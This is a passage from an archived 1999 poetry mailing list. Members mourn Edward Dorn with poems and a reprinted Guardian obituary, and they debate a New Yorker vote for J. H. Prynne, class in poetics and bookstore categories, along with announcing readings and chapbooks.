adr:;;124 Station Hill Road;Barrytown;NY;12507;USA
version:2.1
email;internet:[redacted]
title:Publisher
note;quoted-printable:Station Hill Press/Barrytown, Ltd.=0D=0A or The Institute for Publishing Arts, Inc.=0D=0ABarrytown, NY 12507=0D=0A=0D=0AOffice: [redacted]=0D=0AFax: [redacted] (publishing) and [redacted] (GQ direct)=0D=0A=0D=0Ahttp://www.stationhill.org=0D=0Ae-mail: [redacted]=0D=0ABook Orders to Station Hill/Barrytown: [redacted] (Credit Card)=0D=0A
end:vcard

--==========206494987==========--

--==========206505786==========--

↑ Index

184. Poetics List Administration

Prynne / Hollo

Mon 13 Dec 1999

This message came to the administrative account. Chris

--
Date: 12/11/99, 2:13 AM +0000
From: [redacted]

Simon DeDeo writes:
“The only reason I can think to bust out the vote for Prynne would be that if he made a decent showing, more might read his work.”
Indeed, it is the ONLY reason! So, let’s go for it.
Anselm Hollo

↑ Index

185. Poetics List Administration
Adios / Hollo
Mon 13 Dec 1999

This message came to the administrative account. Chris

--
Date: 12/11/99, 2:13 AM +0000
From: [redacted]

Edward Dorn, great poet and spirit, passed away peacefully, surrounded by loved ones, at approximately 10:30 p.m. Rocky Mountain Time Friday night, 10

November 1999. "And we are all there together / time will wave as willows do / and adios will be truly, yes," (Dorn, "If It Should Ever Come").

↑ Index

186. Poetics List Administration
Edward Dorn, 1929-1999
Mon 13 Dec 1999

The death of Ed Dorn represents a great loss, if not unexpected. I did not know him, though I found his work delightful and important; out of respect for his friends, I will offer only this poem from his book -Geography- (London: Fulcrum Press, 1965). Chris

--

Mourning Letter, March 29, 1963

No hesitation
would stay me
from weeping this morning
for the miners of Hazard Kentucky.
The mine owners'
extortionary skulls
whose eyes are diamonds don't float
down the rivers, as they should,
of the flood

The miners, cold
starved, driven from work, in
their homes float though and float
on the ribbed ships of their frail
bodies,

Oh, go letter,
keep my own misery close to theirs
associate me with no other honor.

↑ Index

187. **f i l c h**
Re: atlanta poets group/grolier bookshop
Mon 13 Dec 1999

Joseph Heller is dead at 76.

↑ Index

188. **Lawrence Upton**
Re: Peter Ganick
Mon 13 Dec 1999

---

he announced here a while ago that due to a pile up of work + family illness he was suspending epublication for a while and closing down his email - until he resurfaces we have to use the mail

L

----- Original Message -----
From: Jerrold Shiroma <[redacted]>
To: <[redacted]>
Sent: 11 December 1999 08:57
Subject: Peter Ganick

| Anyone have the e-mail for Peter Ganick?
|
| Much thanks.
|

↑ Index

189. Tony Green
Re: Ed Dorn
Mon 13 Dec 1999

-----Original Message-----
From: Tom Beckett <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, 14 December 1999 09:59
Subject: Ed Dorn

> *Ed Dorn died ,at home in Denver, December 10, 1999. He was a man of ferocious intelligence and great wit.*

_Thus this poor individual
like all the singulars of his race
came in forward and goes out sternward
and some distant starre flashes even him
an indiscriminate salute._

Gunslinger, Book II

↑ Index

190. Richard Dillon
Re: Vote for Prynne
Mon 13 Dec 1999

Prynne was very tight with ED DORN. A vote for Jeremy Prynne is a vote for Ed Dorn, I say!

>From: Ron Silliman <[redacted]>
>To: [redacted]
>Subject: Vote for Prynne
>Date: Fri, Dec 10, 1999, 5:40 PM
>

> *The reason to vote for Prynne is to demonstrate the difference in quality between what is being written these days and what gets published in the New Yorker itself.*
>
> *Prynne, in this sense, could be any one of us. It's fine that it's him.*
>
> *Ron Silliman*
>
> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

191. david bromige
apologies re Tom
Mon 13 Dec 1999

Listmates, I apologize for responding to a b-c from Tom Raworth as though it had been f-c to this List. What confused me was that the post was fwded to me from another list-member, who had the day before fwded a post to her from me, to the List. Assuming this was further to that public discussion of events in Seattle, I screwed up. Sorry, Tom---although no cause that I can see, for yr post not to become part of the public discussion. That decision, however, is yours to make, not mine, and I regret any embarrasment I may have caused. And thanks to Doug Lang, for his well-merited rebuke. My face is redder than my armband. David

↑ Index

192. miekal and
Re: poems & new music in RealAudio
Mon 13 Dec 1999

herb

does it look like antennae radio will be able to stay on the net, I got some mailing saying that it was having financial problemos....

↑ Index

193. George Bowering
Re: Ed Dorn
Mon 13 Dec 1999

Ed Dorn a very good example, person who did music,wit, with attitude. Whose anti-stupidity stance was always available.

George Bowering.

fax: [redacted]

↑ Index

194. George Bowering
Re: question about the 1950s
Mon 13 Dec 1999

> *I'm going to be doing a directed reading with a graduate student in history next semester who is working on the 1950s, especially on car ads*

> *and anti-materialist backlashes. Any suggestions you folks can make about relevant poetry and also 1950s culture and counter-culture is most welcome.*
>
> *Susan Schultz*
> *University of Hawai`i*

Have a look at _On the Road_.

George Bowering.

fax: [redacted]

↑ Index

195. Susan Wheeler

Christie Hume

Mon 13 Dec 1999

If anyone could provide her current email and/or new Chicago phone # I would be much obliged.

Susan

↑ Index

196. david bromige

Ed Dorn

Tue 14 Dec 1999

Gunslinger made all a difference. It put scare quotes about the authentic voice of Black Mtn and blazed a trail to the authenticity of a subsequent time. A watershed work in the coyote wit of which, you'd be a dunderhead not to take delight, and instruction.

But through his death considering the man, I am sent back to read the poetry of a more vulnerable aspect, when the poet admitted to his faults. Here's one from _The Newly Fallen_ , as it stands there rather than the slightly revised version in the Collected :

Like a Message on a Sunday

Sits
    the forlorn plumber
by the river
with his daughter
    staring at the water
then, at her
his daughter closely.

Once World, he came
to our house to fix the stove
and couldn't
oh, we were arrogant and talked
about him in the next room, doesn't
a man know what he is doing?

Can't it be done right,
World of iron thorns.
Now they sit by the meager river
by the water . . . stare
into that plumber
so that I can see a daughter in the water
she thin and silent,
he, wearing a baseball cap
in a celebrating town this summer season
may they live on

on, may their failure be kindly, and come
in small pieces.

David.

↑ Index

197. Ron Silliman
Re: sociology of bookstores
Tue 14 Dec 1999

The first bookstore I saw that divided its books into identity categories was Small Press Traffic (at its second location on 24th Street): Men, Women, Fiction

Ron

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

198. Lowther, John
Re: sociology of bookstores
Tue 14 Dec 1999

---

maria damon wrote;
(and th eonly bookstore nationally
to specialize
exclusively in poetry)

and
i thought there was _Open_ in seattle
its in wallingford (sp?) i think

↑ Index

199. Joe Amato
more on class...
Tue 14 Dec 1999

---

the january (2000) issue of _pmla_ (just out) features a number of pieces focusing on class... some more theoretical, some more lit-crit... worth having a look...

best,

joe

↑ Index

200. MAYHEW
response to New Yorker
Tue 14 Dec 1999

Not all the books listed for the New Yorker prize are awful. John Koethe is a decent Ashbery imitator. Louise Gluck is a fine poet if you like that sort of thing. I have no doubt she will emerge victorious. And of course Prynne. I forget what the other candidates are. Prizes and lists of the best books of the century, etc..., like horoscopes, should be used "for entertaiment purposes only." I have a hard time working up a moral fervor about it! The New Yorker never had particularly great poetry, though when Howard Moss was editor he published James Schuyler and the like. It is interesting that even though the New Yorker changed from upper-middle brow WASP John Cheever style culture to a sort of upper-middle brow people magazine, the basic poetry it publishes remains identical. But this is exactly what people used to read the old New Yorker for.

Jonathan Mayhew
[redacted]

_____

↑ Index

201. David Kirschenbaum
New Boogs: Bouchard, Cole, Davis, Durand, & Rackin
Tue 14 Dec 1999

Now available from Boog Literature:

Boog Literature chapbook # 25

By the author. Poems by Sean Cole
Digest size, 20 pages + 4-page cover wrap collage by Joe Maynard (editor of Pink Pages), $6ppd.

Limited lettered edition of 26 copies
Digest size, 20 pages + 4-page cover wrap
Each book has a tip-in sheet signed by the author and cover artist. $12ppd.

Chapbook to commemorate his reading Sunday December 5, 1999 at the Zinc Bar in New York City, with Aaron Kiely and Adeena Karasick.

Cole's work has appeared on theeastvillage.org. He is an assistant coordinator for the annual Boston Alternative Poetry Festival, held each July.

Boogcard #5:	Ethel Rackin,	"The clothes here are very sexy"
Boogcard #6:	Jordan Davis,	Happy Baby
Boogcard #7:	Daniel Bouchard,	Consciousness of Self
Boogcard #8:	Marcella Durand,	an excerpt from Reading Postures

Unsigned $1.50 ppd. each; all four for $5 ppd.
Signed and lettered, $3 ppd. each; all four for $10 ppd.

Rackin is an associate editor at APR. Published to commemorate her reading Nov. 3, 1999 with Gerald Stern and Matthew Lippman at Makor.

Davis is the author of Poem on a Train (Barque Books). He is an editor of the literary journal, The Hat, and an organizer of the Poetry City reading series at Teachers & Writers. Published to coordinate his reading with Kenneth Koch on November 10, 1999, at the Poetry Project at St. Mark's Church in-the-Bowery.

Durand is the author of City of Ports (Situations Press, 1999), the poetry editor of Erato Press, and the program coordinator for the Poetry Project.

SubPress will publish Bouchard's first full-length collection of poetry, Diminutive Revolutions, this month. Published to commemorate their reading together on December 13, 1999 at the Poetry Project at St. Mark's Church in-the-Bowery.

All postcards are H-5.5" x W-4.25"

Checks payable to:
Boog Literature
351 W.24th Street Apt. 19E
New York, NY 10011-1510
[redacted] o tel: [redacted]

Boog Literature publications are edited and published by David A. Kirschenbaum. Send SASE, or email, for catalog.

as ever,
David

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Talk online at http://voicechat.excite.com

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202. K.Angelo Hehir
Re: question about the 1950s
Tue 14 Dec 1999

Susan, This may interest you. Thomas Frank is the editor of The Baffler and often writes for Harpers. This book is his Ph.d diss and is quite incitefuland may be of use to your student.

Frank, Thomas (Thomas C.) The conquest of cool : business culture,
counterculture, and the rise of hip consumerism /
Chicago : University of Chicago Press, c1997.

cheers,
kevin hehir

↑ Index

203. Matthew Blevins
Re: sociology of bookstores
Tue 14 Dec 1999

As one who has studied some cognitive anthropology, I find this an interesting thread. The fact that bookstores are changing the principles by which they categorize this literature may reflect changes in the schematic structures we ourselves use to categorize it.

Although it might be tempting to adopt a conspiracy-theory where bookstores' systems are subverting our perceptions, this simply does not fit in with their motive: to sell more books. On the other hand, creating a an organizational structure which closely matches that of one's clients would facilitate more effective navigation; in other words, people could find what the want (and buy it) more easily and quickly.

A more fertile ground of inquiry would seem to be in considering how these changes in categorization may relate to changes both in the field of poetics and in mainstream society in general. Ethnopoetics and multiculturalism are probably where I would start.

-Matthew Blevins

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204. **Stefans, Brian**
Prynne
Tue 14 Dec 1999

Hi Rebecca,
> It seems to me that this same argument could be used to suggest that affirmative action laws should be abolished.
With all due respect (and this email isn't about you, just this idea), this doesn't strike me as a very good analogy, and indeed symptomatic of some thinking on how poetry is intended to effect culture (when such intensions are hinted at or stated). The New Yorker is hardly Congress, nor is it something one would think could be fetishized as "society" -- it's really a very specific magazine for a specific group of people, even if it's a very large group. If you start imagining it as some avuncular entity, some sort of big daddy (or mommy, either way) authority whose mind you hope to change, then you get into trouble (not to mention the fact that the New Yorker can go away, go bankrupt, if we want it to but society cannot). As it is, the New Yorker can change in a split second, as it did when Tina Brown took over (she's gone, of course): in their first (or one of their first) issues after she landed, there was a gorgeous full page picture of W.H. Auden in a long overcoat in the snow staring, melancholic as it's possible to perceive behind his drapes of wrinkles (here I'm getting belle-lettristic) with a very long poem on the facing page, something like the In Praise of Limestone but I can't remember exactly. Now, anyone could have looked at that gesture of hers as a "sign of something new" or a "change for the better" as if it were on her hit list of cosmetic changes along wit Art Spieglman covers and (was she responsible for this?) Peter Scheldahl. I have, really, no idea how she followed up that gesture though I don't remember too many more photos of poets, nor better poetry, coming in it's wake. What's striking is that Auden, for whatever the readers of the New Yorker knew, could have just as easily been described as a "Cambridge don" (of course he wasn't) -- in other words, he's English, an amenable exotic, and despite his leftism and flirtation with experimental poetics and, one might say, his homosexuality, he wasn't threatening to the New Yorker readers sense of culture (he wrote opera librettos, too) and their mastery over it.
Anyway, all I'm saying is that, in my opinion, there's no reason to even want to change the New Yorker, nor to equate it with any sort of cultural legitimacy in terms of what this loosely defined "we" are trying to do. The

New Yorker will never spread a greater understanding of experimental poetics unless they know how to sell it or assimilate it into whatever else it is they sell (culture, events, opinion), which of course they won't (because of idiots like us). In that way, it's hardly a "ray of light" but a rather wide swath of darkness -- not neutral even, but kind of negative (though on any other day I'd say it's pretty neutral). I think Prynne should win that award, whatever the hell it is, because I can't get over how great some of those poems are and that, in general over here, we don't know much about him -- it's like Hopkins or Dickinson coming to light. But it would be sad to see that the first widely disseminated writing on Prynne would be a fluff article in the New Yorker, but then again, if they print one of his poems, Prynne seems prepared: his writing is almost armored against any easy discursive assimilation, while being so formally crystalline as to not "go gently" into the anonymity that the magazine seems to want to cloak its authors in, not to mention the chummy garbage they'd probably want to spread about him.

Ok, this all sounds terrible cynical. Here's another example (my facts will be all wrong here), an English one, which had to do with Iain Sinclair's editing of the Palladin poetry series, which got books by folks like Allen Fisher and Bill Griffiths into the "mainstream." The books didn't sell all that well, the publisher decided to stop the series and pulped the entire print run -- not drop them in used book stores like, say, I do, or keep them in their attics for posterity or whomever might be interested, just destroyed them. "Their" laws are just too different from "ours" in this way. Another example: David Lehman has to write a book on poetry, and decides in the last chapter, while he had his moment behind the "bully pulpit", to get out all his grumpiness on the charlatans he feels have filled the shoes of immortals unjustly(one of his sestinas was rejected from L=A=N=G=U=A=G=E, I hear). He does this while answering a few calls, changing the ribbon in his typewriter and listening to Rachmaninov (like his heroes, right) -- in other words, here he is engaged in serious intellectual activity that affects, in direct and indirect ways, great numbers of people, and he doesn't care enough to think through his ideas, read any of the literature, etc, or to even quote from it adequately (only in censure), but has no scruples about weighing in with a moral judgment that, to those who don't know better, can be taken for the general opinion on things (like, "disco is out"). Ethics, ethics, ethics. So I go to Montreal a few months back and, trying to dig up some Earle Birney books (they didn't have them) discover that the only book I can find of "New York school" poetry in the stores in Lehman's! The essential continuity, throughout these examples, is that none of these central, big publishing outfits ever took the time to care about the work they were presenting in an effort to be hip; it's all

very cynical and manipulative.
Which is why Prynne is great: he's only had one or two "trade" books and the rest, I think, were small chapbooks; he doesn't write reviews far as I know, and I think there is a kind of built in auto-critical aspect to his poems, whereby they have very attractive, almost conservative (or "formal"), surfaces (they even look good hanging on a wall from across the room) but you can't simply breeze through them, follow the stately rhythms (they change constantly) nor do you just wait for the good jokes or accept them as some sort of "experience in language" -- his own little controversy with McCaffery over language poetics seemed to center around this aspect of the "play" of language, the semantic slippage, as providing a sort of ease for the reader rather than the difficulty he wanted. I think there's an ethical dimension to his "difficulty" and that part of it has to do with this relationship to other forms of literature -- mainstream, the media, whatever -- that don't trouble you into thought. It has a relationship to a variety of things, actually, and I don't claim to understand them all. But part of the problem with these ideas of aesthetic merging -- i.e. lets break down the walls of these aesthetic camps and just meet halfway -- is precisely when it extends to places like the New Yorker, which has always been a non-entity and should remain that way, and when it is not truly in the service of a complexity of thought on these matters which, we agree, are so important (and if "they" don't seem prepared or willing to keep up with "us," that's not our concern). The difference between two poor and ignored "experimental" writers in New York who don't write like each other is nothing compared to the difference between them and the writers that the New Yorker habitually tends to; then again, if the difference between those two (poor and ignored, etc.) writers is in their attitude to the New Yorker (standing in for other cultural institutions) it may in fact be a big difference and worth investigating. A kind of thoughtless merging of poetics tends to gloss over the fact that there are very particular attitudes that some of these "radical" poets possess toward assimilation into the dominant culture, that it isn't just a game to want to reject certain types of identities and aesthetic closures, and that many of us feel that we could write great poems for the New Yorker on any given day but don't.
Artaud wrote that "all writing is pigshit," or something like that, and at about the same time (the first half of the century) Brecht was giving an important literary award to a poem about a local bicycling star (it was called something like "Hey! hey! the Iron Man!" -- that's not even close but something like that). Why do people do things like this? I don't know, but a lot of us are still doing this very thing in more subtle ways today -- being "moral exhibitionists" in some quasi-nihilistic manner, and our art

and maybe in our lives -- and to think that it's because we are really scratching at the doors of Culture wanting to get in is missing something very important. I couldn't see Prynne as a "ray of light" for the New Yorker because, after all, he would refuse to go to their parties -- it's part of him not to be this light. "Good" gestures by the New Yorker confuse the point, especially when they transcend the words and actions of those they affect (in this case poets who aren't considered to possibly have social powrer of their own), though then again probably brings it to a head. Ah, the patronage issue again... 1930's anyone?
I feel like I missed an earlier point, which had to do with the initial linking of social activism with changing the New Yorker, but if you graph out what exactly the entities are in these respective exchanges perhaps that's better -- use colored markers. Well, but anyway, my apologies for using your very short email for this William Blake moment, but I had some free time today.
Cheers, Brian

↑ Index

205. **Damion Searls**
Re: CLASS (Brink vs. Schultz)
Tue 14 Dec 1999

Kathy Lou Schultz wrote, quoting Leonard Brink:

> *The*
> *following is an observation that lacks explanation or*
> *supporting argumentation:*
>
> *"Of course language can't be seperated [sic -K.L.S.] from any of*
> *those things [politics, class, etc. -D.S.]. They're made out of*
> *language. Poems are made out of language, too. But it just doesn't*
> *follow that poems are made of politics, class, etc".*

I found it a kinda compelling argument as is, so I was curious how it would be rebutted. I imagine the "explanation or supporting argumentation" is as follows: If you accept the premise that class etc. are "made out of language" (i.e. ideologically/linguistically constructed; not "natural" but products of our linguistic (and material) culture), then it does not logically follow that everything linguistic has to do with class. (The logical structure, which is the only point I was understanding Mr. Brink to be making here, is the same as in the following: Curry is "made out of ingredients." Cakes are made out of ingredients too. But it just doesn't follow that cakes have anything to do with curry.)

I think the counterargument is to DENY that "class etc. are made out of language but language is not made out of class etc." This, I take it, would be Ms.

Schultz's argument: intrinsic in any linguistic utterance is some sort of tonal register or mark of class (and race? and gender?), so ANYTHING made up of language, e.g. poems, is also "made up of" class. That's a kind of compelling argument to me in the abstract, but when I think about it I'm not sure what it could really mean -- what would the Mark Of Class be, other than thematic content? -- so I'd appreciate some "explanation or supporting argumentation" *here*.

The other three counterarguments in Ms. Schultz's post I find less compelling.

[1]
>I believe that attempting to divorce writing from its
>social/political contexts is dangerous. The act of
>pretending that writing isn't political results in support
>of dominant power relations.

I'm far from convinced that *thinking about writing* is ever all that political, whether one thinks writing is class-based, not class-based, or whatever. Maybe such thinking indirectly leads to political things (like publishing different sorts of writers, or what have you), but it just as often doesn't, and it's those other things, not the sitting around thinking, that either support or don't support dominant power relations. In any case, I imagine Mr. Brink would (to my mind more persuasively than in his above argument) claim that supporting/combatting power relations isn't necessarily poetics.

[2]
>I would suggest however
>that the privilege to ignore class issues is just that: a
>privilege.

True, but what exactly is wrong with that? Are you saying that living out a "privileged" existence is automatically bad? We shouldn't think about poetry because other people in the world are too poor/hungry? Or are you saying that privilege = bad poetics (because it leaves stuff out)? But everyone on this list is "privileged" -- it's a privilege to eat enough square meals a day to live, it's a privilege to be literate, to have access to a computer, to have been born -- so one's square meals (or having learned to read or parents' sex life) have to be incorporated in one's poems/poetics? Of course diet may well *be* relevant to poetics in some cases, either because of biographical circumstances (Poet X writes really short poems because he/she has only 2-minute breaks from his/her farming; poet Y caught some mind-altering disease from poor diet) or because a poet intentionally thematizes the issue in his/her poems. But that doesn't make it universally relevant; Brink's point seems more plausible to me than Schultz's implied point that "privilege" is NECESSARILY relevant to poetics.

And as for my two cents, I don't mind "non-poetics" issues on the poetics list (e.g. the Seattle WTO updates, Viequez (sp?), etc.). I'm not trying to shut down any discussions here by saying they're "not really poetics." (I'm actually trying to prod a better defense against Mr. Brink's argument.)

[3]
>I also
>think it results in misreadings and shallow readings. I
>return to the example of Erica Hunt. An analysis of Hunt's
>that only concerned itself with "form, structure" etc. (as
>if those things themselves weren't political!) would
>result in a very uniformed, very cursory reading of this
>important experimental poet.

See above. Clearly there are some poets less amenable to "formal" readings, and some poets more amenable to "formal" readings. I'm sure a "Who cares about class" person could come up with a poet as obvious for his/her position as Hunt is for Schultz's.

Curious what y'all think,
Damion Searls

↑ Index

206. Jordan Davis
Poetry City transit strike
Tue 14 Dec 1999

In the event of a New York City Transit Authority strike,
the Thursday 16 December Poetry City reading
by Catherine Barnett and Darlene Gold
will be postponed to Thursday 27 January.

Watch this space for news about the Bernadette Mayer party
for the reprinting of Midwinter Day -
scheduled for Wednesday 22 December - apogee full moon solstice zowie!

Januray at Poetry City . 5 Union Square West . New York City

Thursday 6 January . 7 pm
Book Party for Kim Lyons's Abra Ca Dabra

Thursday 13 January . 7 pm
Greg Fuchs / Jane LeCroy

Thursday 20 January . 7 pm
Mariposa / Youme Landowne

all poetry city events free!
hosted by Anna Malmude and Jordan Davis
[redacted] . [redacted]

↑ Index

207. Acharya Hom Raj
Ness Ness and Ness
Tue 14 Dec 1999

I open up the computer and I find myself back in my old village, with the same cowshit. Whiteness/Blackness/Brown-ness/Pink-ness/and all mess of nesses, race, identity, ethnicity, whatever you want to call it. Let poetry be poetry. It does not need a caste. I recall back in the cobra-infested, mosquito-danced village in Nepal where I was born and raised how, when a kid was born, the priest had the sole/soul authority to name it. I am Hom not because my parents wanted me to be Hom but because the priest decided so, because they got the credentials, not you not me. And the last name always gives the caste which gives the nature. I remember one day my mother telling me not to play with the children of other caste. Can we play now? Can all of us play, or do we have to have find out from the priests how to judge? Do we first have to know the caste/tribe/ethnicity/class/gender/color/sexual orientation/the dinner they eat/how fat they are to "understand" their work? Yes I understand it's helpful but to a very lesser degree. The typical people in my village say, "Where the sun can't reach poets easily reach." (Ravi napugne thaonma kavi pughchhan.) When I look in the face of poetry it does not know color, race, bank account, etc. So here I am on the World Wide Web reaching everybody's mouth in cyberspace, all these poets from universities, especially America--The Big Place, the House of the High Priest--and as we say in Nepal, it's Back To Mangalamon!

best,
Hom.

↑ Index

208. David Cameron
Richard Maxwell
Tue 14 Dec 1999

Does anyone on this list happen to have an e-mail address for Richard Maxwell, the playwright? If so, could you please backchannel it to me?

thanks,

David Cameron

↑ Index

209. Alan Sondheim
(no subject)
Wed 15 Dec 1999

---

i slide down the slippery slope on a foreign planet
this planet is light years away
there are many strange and wonderful forms of life!
i'm sliding too fast!
i need to stop myself before i get killed!
i don't want to dissolve into a mess of disorganized molecules
suddenly: i discover serrated edges!
there are tiny slips and precipitous drops in a regular order
i attach serrated edges to my body!
my body slows into an easy descent
i discover this is a fine way to pass the time of day
everything around here's got them now
serrated edges are a new-found planetary wonder

↑ Index

210. Chris Stroffolino
Upcoming Gig
Wed 15 Dec 1999

> Volumen, a band in which I play keyboards in, will be
> playing in NYC at Arlene's Grocery (or Groceries) on Stanton
> and Ludlow, December 30th, 8PM....for free....
> even poets are invited....

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211. Kevin Killian
Bay Area Now Walking Tour
Wed 15 Dec 1999

Hi Everybody,

As part of Yerba Buena Center for the Arts' Bay Area Now II art show, I will be leading a walking tour/performance piece on Thursday, December 16, 6 to 8p.m., Yerba Buena Center for the Arts, 701 Mission Street (at 3rd), San Francisco, free. Meet in the lobby.

I will be accompanied by many artists, curators, art students and street people, including Rex Ray, Norma Cole, Taylor Brady, Wayne Smith, and Jocelyn Saidenberg.

If you're in the area, hope to see you there.

Kevin Killian

↑ Index

212. Alan Sondheim
yes, by Doctor Leopold Konninger
Wed 15 Dec 1999

\

yes twirling_nikuko_! > zz; head -200 zz > yy; pico yy

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- by Doctor Leopold Konninger

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213. Maria Damon

Re: maria damon

Wed 15 Dec 1999

---

oh louis, louis! i "got" your "message" through psychic cyberroutes. "please contact" so i can find out the "nature" of your "urgency!" Please contact "ASAP"! (that means, "as soon as possible," for those of you not "in the know!")

At 11:34 PM -0500 12/8/99, Louis Cabri wrote:
>I desperately, immediately need to contact Maria Damon -- Maria -- Damon.
>Contacting: Maria Damon. Help! Does anyone know how I do it? How!
>It's Important! Help me! Please, let Maria Damon know I
>need to get "in touch" with her. If you know how I do this -- thank
>god! If you know -- great! If, that is, you know.
>
>Very concerned to make contact with Maria Damon,
>
>Shall R. Nameless

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214. Charles Bernstein
Ed Dorn 1929-1999
Wed 15 Dec 1999

This obituary for Ed Dorn

by James Campbell

appeared in The Guardian
on Tuesday December 14, 1999
and on The Guardian website:
http://www.newsunlimited.co.uk/obituaries/story/0%2C3604%2C114039%2C00.html

Edward Dorn

Poet rooted in the imagery of the dispossessed, of working-class America and the mythology of the wild west

The American poet Edward Dorn, who has died aged 70, had a loyal readership in Britain, despite having published little in this country for almost 25 years. He was grouped with the Black Mountain poets - named after the progressive college in North Carolina - but unlike Charles Olson, Robert Creeley and Robert Duncan, the leading "black mountaineers", was not a teacher at the college, only a student.

His poetry also stood apart from theirs in being rooted in working-class politics and a sense of wild western myth. A list of a few of his many titles gives a hint of the territory he occupied: Hands Up! Idaho Out, High West Rendezvous, and the most famous of them, Gunslinger.

Dorn was born in the prairie town of Villa Grove, Illinois, on the banks of the Embarras river, and was brought up between there and Michigan. The wanderlust was in his blood. He never knew his father. His mother was of Dutch ancestry, and his grandfather worked on

the railroad. Of his home town, he said: "The first thing you're preoccupied with is how to exist. If you stayed, you had to have a pretty specific reason - you couldn't just stay."

Dorn's means of escape was through education: first, at the University of Illinois, and then, in 1950 and again in 1954, at Black Mountain College. He was taught there by Charles Olson, author of the Maximus Poems, a sprawling work in the manner of Ezra Pound's Cantos and William Carlos Williams's Paterson. Olson inspired Dorn to conceive of geography as the American subject, the one from which all other subjects derived, and indeed Dorn's first published book (1960) was called What I See In The Maximus Poems.

He even went to live in the fishing town of Gloucester, which forms the background to Olson's vast poem, and wrote poems of his own there, published as From Gloucester Out. Like several of Dorn's books, it was first published in London, in 1964.

His early poems were explicitly about working people: truck drivers, small farmers, hunters. Among the earliest poems he published was The Rick Of Green Wood (1956), a lyrical verse with an undertone derived from the English ballads, about a meeting with a woodcutter: "I don't/ want a rick of green wood, I told him/ I want cherry or alder or something strong/ and thin, or thick if dry, but I don't/ want the green wood, my wife would die."

Despite the advanced notions about life and art which he encountered at Black

Mountain, and his later attempts to write a poetry of ideas, Dorn's sympathies were always with the dispossessed. In The Debt My Mother Owed to Sears Roebuck, he wrote of " the dust of the fields/ in her eye, the only title she ever had to lands. "

Dorn's verse was inclined to be loose in structure. He could say, without blinking, that there was little difference between poetry and prose, and even between poetry and talk. His "talk" lacked the economy of other speaking-voice poets - such as Allen Ginsberg at his best, or the minimalist Robert Creeley, who was Dorn's examiner at Black Mountain College.

But he was right to stay true to his themes and his poetic voice. At the end of the 1960s, he made his peace with the cowboy, and began the poem which was to make his name and grant him a status equal to that of his older teachers.

Gunslinger I & 2 was published in Britain by the late, lamented Fulcrum Press in 1970. It showed Dorn in a new mode, hip and humorous, combining the iconic figure of the old west with concepts drawn from his readings in philosophy and science. Just to stop his epic - there were to be four books in all - from getting too serious, he gave the gunslinger of the title a talking horse, who was apt to roll a joint in the middle of a conversation, introduced a character called "I" in addition to the first-person narrator, and put all his characters at the service of a cabaret owner called Miss Lil.

Dorn's relationship with England began when he arrived to teach at the University of Essex as a Fulbright lecturer in 1964.

His first marriage ended in divorce and he married an Englishwoman, Jennifer Dunbar, with whom he collaborated on several projects. He soon made friends among the standard-bearers of England's alternative literary scene, such as the poets Tom Raworth and JH Prynne (to both of whom he dedicated his book The North Atlantic Turbine), Tom Pickard, who ran the Morden Tower in Newcastle, and the publisher Stuart Montgomery, of Fulcrum Press.

England, Dorn said, "set me on a new course," but his politics sometimes tempted him to take a hammer to England's class system. In the long poem, Oxford, he wrote: "The woman opposite/ by no act other than Murder/ is permitted existence." When he used the same blunt in strument on his own country - "the thorn in the throat of our national hypocrisy" etc - the result was effective neither as poetry nor as rabble-rousing.

Politics and poetics were in a state of constant interplay in Dorn's work. The function of the poet in America, he said, was to "stay as removed as possible from all permanent associations with power". As for the institutional prizes, such as the National Book Award and the Pulitzer, his words were: "Who cares?"

At a reading in London in late 1998 , Dorn, clearly ill, gave a strange, mesmerising performance, which was somewhere between poetry, stand-up comedy and personal tragedy. He prefaced each poem with a long introduction, straying easily from the point, and then, just as he had the audience chuckling, would burst into tears for no apparent reason.

The overall impression was of an almost unbearable sensitivity. He treated the listeners in the hall as he might have done a group of friends invited to his home, and this too could be seen as part of his aesthetic. He once joked that he knew "almost exactly how many readers I have, and I even know a large percentage of them personally".

Although populist in politics, Dorn was a cult writer whose natural home was on the fringe. Gunslinger would have baffled the "chunky westerner" of whom he wrote in Home On The Range, or the cowboy who sings "Yi Yi" in Vaquero, another early poem. While in his early days he too worked by turning his hand to whatever came along, from the mid-1960s onwards he earned his living as a university teacher in Kansas, Chicago, San Francisco and Boulder, Colorado, among other places.

Dorn was remarkably prolific, turning out chapbooks, pamphlets, magazines and books which merged into other books. Between the years 1968-72, for instance, he published almost 20 titles of poetry, fiction and non-fiction. With Prynne and others, he issued Bean News, in which journalism and poetry, fact and forgery overlapped. More recently, he was engaged in Languedoc Variorum: A Defence Of Heresy And Heretics, a long poem with a running prose com mentary, which Etruscan Books, in Devon, have been planning to publish in 2000.

His novel, By The Sound, appeared in 1971, and his Collected Poems in 1983. In 1996 his High West Rendezvous was published, and this year saw the appearance of Sun Unwound, translations

with Gordon Brotherstone of Latin
American poetry.

Dorn's wife Jennifer, and their son and
daughter, survive him, as does his first
wife, and his stepson, stepdaughter and
son from that marriage.

£#149; Edward Dorn, poet, born April 12
1929; died December 10 1999

↑ Index

215. **Jordan Davis**
Poetry City is on
Wed 15 Dec 1999

No strike!
Poetry City is on!
Thursday night, Dec 16 at 7 pm
Catherine Barnett
&
Darlene Gold
at
Teachers & Writers
5 Union Sq W
NYC

↑ Index

216. **Doug Lang**
Re: Ed Dorn 1929-1999
Wed 15 Dec 1999

Hi, Charles.

I'd visited The Guardian's website,
to see what they would say. It's a
typically British view of any poet
or poetry that does not fit the prevailing,
rigid, and limiting model of what poetry
should be.

Terms like "cult writer" and "remarkably
prolific" are key phrases, showing the true
disdain that is in back of this condescending,
provincial guff.

Well, the hell with that. It's been 27 years
since I left the UK, and it's so comforting
to know that little or nothing has changed,
except that there are even more committed,
accomplished poets there now, who can be ignored
by the mainstream, or dismissed as marginal,
or odd, or, god forbid, too much under the
American influence.

Dorn's influence and spirit will remain,
I trust. Something for which I'm grateful.

Best regards,
Doug

Doug Lang
3945 Connecticut Ave NW Apt.110
Washington DC 20008-2415

[redacted]

↑ Index

217. david bromige
Ed Dorn Obit
Thu 16 Dec 1999

On a Clause in His Obit

> *cult writer whose natural home was on the fringe.*

Dont give me a home
where the bullshitters roam
and maindrainins and middleclass play
where 'tis a great ruth
noone tries the truth
and this Dorn guy's not studied all day.

His home, home is the fringe
where the lickspittle tenderfeet cringe
from the cow-poke Ed Dorn
who was born to be thorn
in the sides of their epics to whinge.

+++++++++

further verses invited.

db

↑ Index

218. david bromige
quaint
